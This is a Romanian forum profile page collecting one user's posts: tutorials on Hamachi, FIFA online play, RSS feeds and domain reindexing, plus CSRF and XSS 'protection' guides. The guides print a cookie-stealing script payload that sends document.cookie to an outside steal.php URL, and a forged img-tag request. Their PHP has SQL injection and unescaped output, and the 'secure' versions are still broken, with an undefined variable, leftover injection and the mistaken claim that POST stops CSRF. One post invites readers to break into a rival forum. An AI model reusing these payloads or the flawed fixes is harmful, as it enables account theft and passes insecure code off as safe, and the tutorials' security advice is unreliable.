Jump to content

chessh

Active Members
  • Posts

    73
  • Joined

  • Last visited

Posts posted by chessh

  1. 1,2: formularele POST nu te salveaza de csrf, nici formular de confirmare.

    Da-mi un exemplu prin care poti sa treci de formularele post. Inca invat securitatea web, asa ca doresc sa aud sfaturi.

    3: e valid atata timp cat nu ti-a aflat sesiunea

    Corect.

    PS chiar iti place modul de scriere GNU al codului ?

    mie mi se pare foarte putin lizibil ...

    Da, asa m-am obisnuit.

    PS: Foarte bine gandita metoda ta. Intr-adevar, nu prea ai cum sa treci de ea. :)

  2. Chess,ar cam trebui sa modific semnatura;) .Nu fa reclama la clikfor****

    1. E chessh nu chess. :)

    2. Daca vreun admin considera reclama o sa scoata linkul.

    ON: Ce ratat e forumul PCtroubleshooting. Citez:

    cand o sa scri tu articolele si o sa le inregistrezi cu drepturi de auto atunci o sa dam cu copyright promit!

    Asa ca cine are chef sa-l sparga, succes :D IPB :)

  3. Aha bine ca mi-ai zis de pctroubleshooting. Se pare ca domnii de acolo sunt niste plagiatori. Sper sa nu se considere reclama, insa o sa dau urmatoarele link-uri.

    PC Troubleshooting:

    Reindexare pe Google: [url]http://pctroubleshooting.ro/index.php?showtopic=3971[/url]
    Reindexare pe Yahoo: [url]http://pctroubleshooting.ro/index.php?showtopic=3972[/url]

    Click4Trick (forumul meu):

    http://click4trick.com/tutoriale-diverse-f3/reindexarea-unui-domeniu-t4975.html

    O sa te rog sa te uiti la data scrierii articolelor. Numa' bine :)

  4. Instalare si folosire Hamachi(for n00bs)

    Hamachi este o aplicatie care permite stabilirea unei legaturi directe intre doua computere care altfel nu ar fi accesibile din cauza restrictiilor retelei (se afla in spatele unui firewall sau sunt conectate la Internet prin Connection Sharing sau router). Transferul de fisiere intre cele doua computere se face securizat, folosind algoritmi speciali de criptare. De asemenea puteti sa-l folositi pentru a juca diverse jocuri pe internet prin Direct IP (FIFA, Counter-Strike, Starcraft, etc.).

    NOTA Aveti nevoie de admin in Windows pentru a-l instala.

    Instalare

    1) Click Next

    install1.png

    2) Bifati I accept the agreement si apasati Accept

    install2.png

    3) Alegeti setarile pe care le doriti si apoi click Next

    install3.png

    4) Apasati Install

    install4.png

    5) Click pe Next

    install5.png

    6) Bifati Launch Hamachi si apasati Finish

    install6.png

    7) Cam asa arata programul

    install7.png

    Configurare

    8) Dati click pe butonul Configure Hamachi (rotita)

    install8.png

    9) Alegeti Update Hamachi si asteptati sa se updateze (recomand acest pas)

    install9.png

    10) Apasati din nou pe butonul Configure Hamachi (rotita), dar de data aceasta alegeti Preferences

    install10.png

    11) Cam asa arata meniul Preferences. Aici alegeti setarile dupa bunul plac

    install11.png

    Utilizare

    12) Dati click pe butonul Create or join networks (triunghiul) si aici veti avea 2 posibilitati: sa intrati pe o retea deja existenta sau sa va creati propria retea

    install12.png

    13) Pentru a va conecta la o retea deja existenta alegeti Join an existing network ..

    install13.png

    14) Aici va trebui sa introduceti numele si parola retelei (pe care trebuie sa le cunoasteti, bineinteles) si apasati Join

    install14.png

    15) Daca va hotarati sa va creati propria retea alegeti Create a new network ..

    install15.png

    16) Aici trebuie sa puneti un nume (unic) de retea si sa-i setati parola, iar in final dati click pe Create

    install16.png

    Cam atat. Succes! Pentru nelamuriri astept reply-ul vostru ;)

  5. Cum sa joci FIFA pe net

    Poate v-ati intrebat cum puteti sa jucati FIFA cu un prieten pe net, pentru a va demonstra valoarea. Raspunsul vi-l dau eu: Foarte usor ;). Tot ce trebuie sa faceti este:

    1) Intrati in FIFA.

    2) Game modes.

    3) Multiplayer.

    4) Direct IP.

    5) Aici aveti 2 variante:

    1*) Sa gazduiti meciul, apasand pe Host.

    2*) Sa va conectati la adversar, adaugand IP-ul lui (New->nume adversar->IP adversar->OK) si apasand Connect.

    6) Veti fi conectat cu adversarul, putand astfel sa va disputati meciul.

    Note:

    1) Este testat doar pe FIFA 07 si FIFA 08.

    2) Nu puteti gazdui meciul daca aveti router si tot odata IP routabil (ex. 192.168.0.1), decat cu un program special gen Hamachi.

    2) In timpul conexiunii nu parasiti jocul ca se va deconecta.

    Enjoy ;)

    PS: Alt tutorial mai vechi :))

  6. Cum sa ai feeduri RSS la tine pe site

    Cu ce te ajuta? Site-ul tau va contine cele mai tari articole, de pe cele mai tari site-uri fara ca tu sa le scrii. Cum se procedeaza? Iti explic imediat.

    Vei folosi un RSS Feeder care-ti va aduce stiri si articole de pe site-urile dorite.

    La inceput trebuie sa gasesti un script care va prelua articolele. Eu sugerez Magpierss-0.72 (pentru ca si eu il folosesc si pe baza lui e facut tutorialul) pe care il puteti gasi aici.

    Pentru a dezarhiva iti trebuie un program de arhivat si dezarhivat. Sugerez WinRAR.

    Dupa dezarhivarea folderului uploadeaza-l pe site-ul tau in root (public_html). Folderul trebuie sa se numeasca magpierss-0.72.

    Apoi trebuie creat un fisier PHP numit reader.php (un text document cu extensia .php) care sa contina urmatorul cod:

    <div class="content">
    <?php
    require_once("magpierss-0.72/rss_fetch.inc"); # Aici este calea catre fetcher-ul de la magpie.
    define('MAGPIE_OUTPUT_ENCODING', 'utf-8'); # Aici este codul de pagina.
    $url = "http://www.idg.ro/rss/pcw_news.xml"; # Aici veti trece url-ul de unde veti prelua articolele.
    $rss = fetch_rss( $url );
    $num_items = 10; # Aici veti seta numarul de articole care sa apara.
    $items = array_slice($rss->items, 0, $num_items);
    foreach ($items as $item) {
    $ahref = $item['link'];
    $title = $item['title'];
    $description = $item['description'];
    print "[b]<a href=$ahref>$title</a>[/b]
    $description

    ";
    }
    ?>
    </div>

    Uploadati fisierul reader.php pe site in root (public_html).

    Note: In loc de http://www.idg.ro/rss/pcw_news.xml puteti trece pagina XML a site-ului de pe care vreti sa preluati articolele.

    Pagina XML poate fii gasita apasand butonul RSS al site-ului respectiv.

    Cam atat. Succes si enjoy ;)

    PS: E un tutorial mai vechi de-al meu.

  7. Reindexarea unui domeniu

    De multe ori se intampla ca motoarele de cautare sa va penalizeze numele de domeniu, mai ales daca in trecut a apartinut altcuiva, avand un trecut mai rau famat. In acest tutorial o sa va invat cum sa faceti ca domeniul vostru sa fie reindexat de motoarele de cautare importante, Google si Yahoo.

    Google:

    Pentru a fi reindexat de google, numele de domeniu trebuie verificat. Asa ca trebuie sa va logati pe contul de Webmaster (daca nu aveti cont va recomand sa va faceti unul pentru a beneficia de o indexare mai buna si de Google Analytics, cel mai bun provider de detalii despre traficul de pe site si multe alte tool-uri utile).

    Intrati apoi pe https://www.google.com/webmasters/tools/siteoverview unde veti adauga url-ul site-ului si apasati Add Site. Veti fi redirectionati catre pagina Overview, unde trebuie sa dati click pe link-ul cu numele Verify your site. Veti putea alege una din cele 2 metode de verificare:

    1. Uploadarea unui fisier .html pe host.

    2. Introducerea unui Meta Tag.

    Dupa ce ati ales una din cele 2 metode si ati aplicat-o, tot ce ramane de facut este sa apasati pe butonul Verify.

    Yahoo:

    Pentru a fi reindexat de Yahoo, numele de domeniu trebuie de asemenea verificat. Va trebui sa va logati pe contul de Yahoo! (sigur aveti din asta) si veti merge la https://siteexplorer.search.yahoo.com/mysites. Aici introduceti url-ul site-ului si apasati Add My Site. Dupa introducerea acestuia, va trebui sa dati click pe Authenticate, unde aveti de ales din 2 metode:

    1. Uploadarea unui fisier .html pe host.

    2. Introducerea unui Meta Tag.

    Dupa ce ati ales una din cele 2 metode si ati aplicat-o, tot ce ramane de facut este sa apasati pe butonul Ready to Authenticate corespunzator.

    Cam atat in acest tutorial. Sper sa va fie de folos.

  8. Cum sa te protejezi de CSRF

    Definitia CSRF-ului

    Un atac CSRF (Cross-Site Request Forgeries) reprezinta o vulnerabilitate a aplicatiilor web neprotejate. El consta intr-un link, pe care hackerul il poate folosi pentru a modifica continut. De obicei codul este scris in (X)HTML sau JavaScript.

    Scopul CSRF-ului

    Scopul acestui tip de atac este de a modifica continut, in numele unui utilizator sau chiar administrator, cu acest drept de acces (fara ca cei din urma sa afle). In general, aceste atacuri ii vizeaza pe toti utilizatorii.

    Despre CSRF

    Atacurile de acest tip falsifica anteturile cererilor HTTP, trimise in mod normal de catre browser la server (prin comunicarea intre cei doi). Ele folosesc de obicei elementul img (XHTML) si atributul sau, src, ce are ca valoare URL-ul unui script (nu al unei imagini, cum ar trebui sa fie in mod normal).

    Pentru a intelege mai bine, va voi face o schema, dupa care actioneaza majoritatea hackerilor.

    1. Hackerul intra pe site
    2. Hackerul scrie un mesaj (care provoaca vulnerabilitatea)
    3. Un utilizator intra pe pagina unde hackerul a scris mesajul
    4. Cererea HTTP este trimisa serverului

    Exemplu CSRF

    Va voi arata prin acest exemplu, cum un hacker poate sterge un anumit user, cunoscand scriptul atacat sau avand putin noroc.

    Vom crea o noua baza de date (folosind phpMyAdmin) numita csrf si tabelul users, cu doua campuri: user si pass.

    CREATE DATABASE csrf;
    USE csrf;
    CREATE TABLE users (id INT NOT NULL AUTO_INCREMENT,
    user VARCHAR(20) NOT NULL,
    pass VARCHAR(32) NOT NULL,
    PRIMARY KEY(id));
    INSERT INTO users (user, pass) VALUES ('csrf', '123456');

    Avem urmatorul script pentru stergerea unui utilizator de pe site:

    <html>
    <head>
    <title>Sterge utilizator</title>
    </head>
    <body>
    <?php
    if(isset($_GET['user']) && $_GET['user'] != '') {
    @mysql_connect('localhost', 'root', '') or die('MySQL error.');
    @mysql_select_db('csrf') or die('MySQL error.');
    $sql = "DELETE FROM users WHERE user='{$_GET['user']}'";
    $result = @mysql_query($sql) or die('MySQL error.');
    echo 'Utilizatorul '.$_GET['user'].' a fost sters.';
    } else { ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
    Sterge utilizatorul: <input type="text" name="user" />
    <input type="submit" name="submit" value="Delete" />
    </form>
    <?php } ?>
    </body>
    </html>

    Acum sa vedem ce se intampla. Daca de exemplu, hackerul scrie un mesaj care contine urmatorul cod XHTML:

    [img=http://site.com/delete.php?user=csrf]

    Cererea HTTP va arata in felul urmator:

    GET /delete.php?user=csrf HTTP/1.1
    HOST: [url]www.site.com[/url]
    Cookie: PHPSESSID=4c50d3f5e75cfd3b9df18da4f568cf07

    Cand administratorul va intra pe pagina in care hackerul a postat mesajul ce contine codul de mai sus utilizatorul 'csrf' va fi sters.

    Pentru a preveni acest lucru, scriptul de stergere al utilizatorilor va trebui sa arate asa:

    <html>
    <head>
    <title>Sterge utilizator</title>
    </head>
    <body>
    <?php
    if(isset($_GET['user']) && $_GET['user'] != '') {
    if(isset($_POST['confirm']) && $_POST['value'] == 'yes') {
    @mysql_connect('localhost', 'root', '') or die('MySQL error.');
    @mysql_select_db('csrf') or die('MySQL error.');
    $sql = "DELETE FROM users WHERE user='{$_GET['user']}'";
    $result = @mysql_query($sql) or die('MySQL error.');
    echo 'Utilizatorul '.$_GET['user'].' a fost sters.';
    } else { ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>?user=<?php echo $_GET['user']; ?>&<?php echo $_GET['submit']; ?>" method="post">
    Sterge utilizatorul?
    Nu<input type="radio" name="value" value="no" checked />Da<input type="radio" name="value" value="yes" />
    <input type="submit" name="confirm" value="Confirm" />
    </form>
    <?php }
    } else { ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
    Sterge utilizatorul: <input type="text" name="user" />
    <input type="submit" name="submit" value="Delete" />
    </form>
    <?php } ?>
    </body>
    </html>

    O confirmare ce foloseste un formular cu metoda post este o modalitate buna de a preveni CSRF-ul in cazul nostru

    Prevenirea CSRF-ului

    Asadar, cum putem preveni atacurile CSRF? Cateva sfaturi bune ar fi:

    1. Folosirea metodei POST in formularele care produc modificari importante
    2. Folosirea unui formular de confirmare, ce foloseste metoda POST
    3. Folosirea variabilei de sesiune in linkuri ($_GET['session'])

    Sper sa va fie de folos. Daca am vreo greseala, va rog postati un reply.

  9. Cum sa te protejezi de XSS

    Definitia XSS-ului

    Un atac XSS (Cross-Site Scripting) reprezinta o vulnerabilitate a aplicatiilor web ce apare atunci cand acestea afisaza date care nu sunt valide. Acesta consta in introducerea unui cod, pentru executia acestuia in respectivul site. De obicei, codul este scris in unul din urmatoarele limbaje: JavaScript, (X)HTML, VBScript, ActiveX, Java sau Flash (ar mai fi si altele).

    Scopul XSS-ului

    Scopul acestui tip de atac este de a fura cookie-urile unor anumiti utilizatori sau pentru a fura diferite informatii utile despre utilizatori, necesare hackerilor. In general aceste atacuri ii vizeaza pe cei cu drepturi privilegiate ale aplicatiei web (administratori sau alt rang important).

    In general atacurile implica doua lucruri (hackerul si site-ul), insa XSS-ul implica trei (hackerul, site-ul si utilizatorii site-ului).

    Despre XSS

    Atacurile de acest tip se folosesc de datele ce vin din exterior. Asadar formularele, e-mail-ul web, fisierele de tip XML sau RSS si bazele de date sunt cel mai des folosite de hackeri.

    Pentru a intelege mai bine, va voi face o schema, dupa care actioneaza majoritatea hackerilor.

    1. Hackerul intra pe site
    2. Hackerul verifica daca vulnerabilitatea este prezenta
    3. In cazul in care site-ul este vulnerabil, el introduce date care vor fi stocate in baza de date
    4. Un utilizator intra pe o pagina a site-ului care se conecteaza la baza de date si afisaza datele stocate in aceasta (incluzand cele introduse de hacker)
    5. Cookie-urile utilizatorului sunt trimise hackerului

    Exemplu XSS

    Va voi arata prin acest exemplu, cum un hacker poate fura un cont cu ajutorul acestei vulnerabilitati.

    Vom crea o noua baza de date (folosind phpMyAdmin) numita xss si tabelul users, cu doua campuri: user si pass.

    CREATE DATABASE xss;
    USE xss;
    CREATE TABLE users (id INT NOT NULL AUTO_INCREMENT,
    user VARCHAR(20) NOT NULL,
    pass VARCHAR(32) NOT NULL,
    PRIMARY KEY(id));

    Avem urmatorul script simplu de inregistrare:

    <html>
    <head>
    <title>Script inregistrare</title>
    </head>
    <body>
    <?php
    if(isset($_POST['submit'])) {
    $_POST['user'] = mysql_real_escape_string($_POST['user']);
    $_POST['pass'] = md5($_POST['pass']);
    @mysql_connect('localhost', 'root', '') or die('MySQL error.');
    @mysql_select_db('xss') or die('MySQL error.');
    $sql = "INSERT INTO users (user, pass) VALUES ('{$_POST['user']}', '{$_POST['pass']}')";
    $result = @mysql_query($sql) or die('MySQL error.');
    @mysql_close();
    } else { ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    Username: <input type="text" name="user" />
    Password: <input type="password" name="pass" />
    <input type="submit" name="submit" value="Register" />
    </form>
    <?php } ?>
    </body>
    </html>

    Acum, o parte din codul panoului de administrare a site-ului, in care sunt afisati utilizatorii inregistrati:

    <html>
    <head>
    <title>Panou de administrare</title>
    </head>
    <body>
    Utilizatori inregistrati:

    <?php
    @mysql_connect('localhost', 'root', '') or die('MySQL error.');
    @mysql_select_db('xss') or die('MySQL error.');
    $sql = "SELECT * FROM users";
    $result = @mysql_query($sql) or die('MySQL error.');
    while($result = mysql_fetch_array($result)) {
    echo $row['user'].'
    ';
    } ?>
    </body>
    </html>

    Acum sa vedem ce se intampla. Daca de exemplu, hackerul introduce in campul user urmatorul cod JavaScript:

    <script>alert("Ti-am spart site-ul!");</script>

    Cand administratorul va intra pe pagina care afisaza utilizatorii inregistrati, va aparea o caseta JavaScript care va afisa 'Ti-am spart site-ul!' (fara ghilimele). Pana acum, nimic grav. In cazul in care hackerul introduce codul urmator:

    <script>document.location = 'http://www.site.com/steal.php?cookies=' + document.cookie;</script>

    Cand administratorul va intra pe pagina care afisaza utilizatorii inregistrati, cookie-urile sale vor fi trimise catre 'http://www.site.com/steal.php' prin variabila $_GET['cookies']. Hackerul poate folosi aceste cookie-uri si poate capata acces in panoul de administrare.

    Pentru a preveni acest lucru, scriptul de afisare al utilizatorului va trebui sa arate asa:

    <html>
    <head>
    <title>Panou de administrare</title>
    </head>
    <body>
    Utilizatori inregistrati:

    <?php
    @mysql_connect('localhost', 'root', '') or die('MySQL error.');
    @mysql_select_db('xss') or die('MySQL error.');
    $sql = "SELECT * FROM users";
    $result = @mysql_query($sql) or die('MySQL error.');
    while($result = mysql_fetch_array($result)) {
    echo htmlentities($row['user']).'
    ';
    } ?>
    </body>
    </html>

    Asadar, functia htmlentities() este folosita pentru a preveni introducerea sau injectarea a unui astfel de cod, ea ignorand tag-urile.

    Prevenirea XSS-ului

    Asadar cum putem preveni atacurile XSS? Cateva functii PHP care ne vor ajuta sunt:

    1. htmlentities();
    2. htmlspecialchars();
    3. strip_tags();
    4. mysql_escape_string();
    5. mysql_real_escape_string();
    6. addslashes();

    Sper sa va fie de folos. Daca am vreo greseala, va rog postati un reply.

×
×
  • Create New...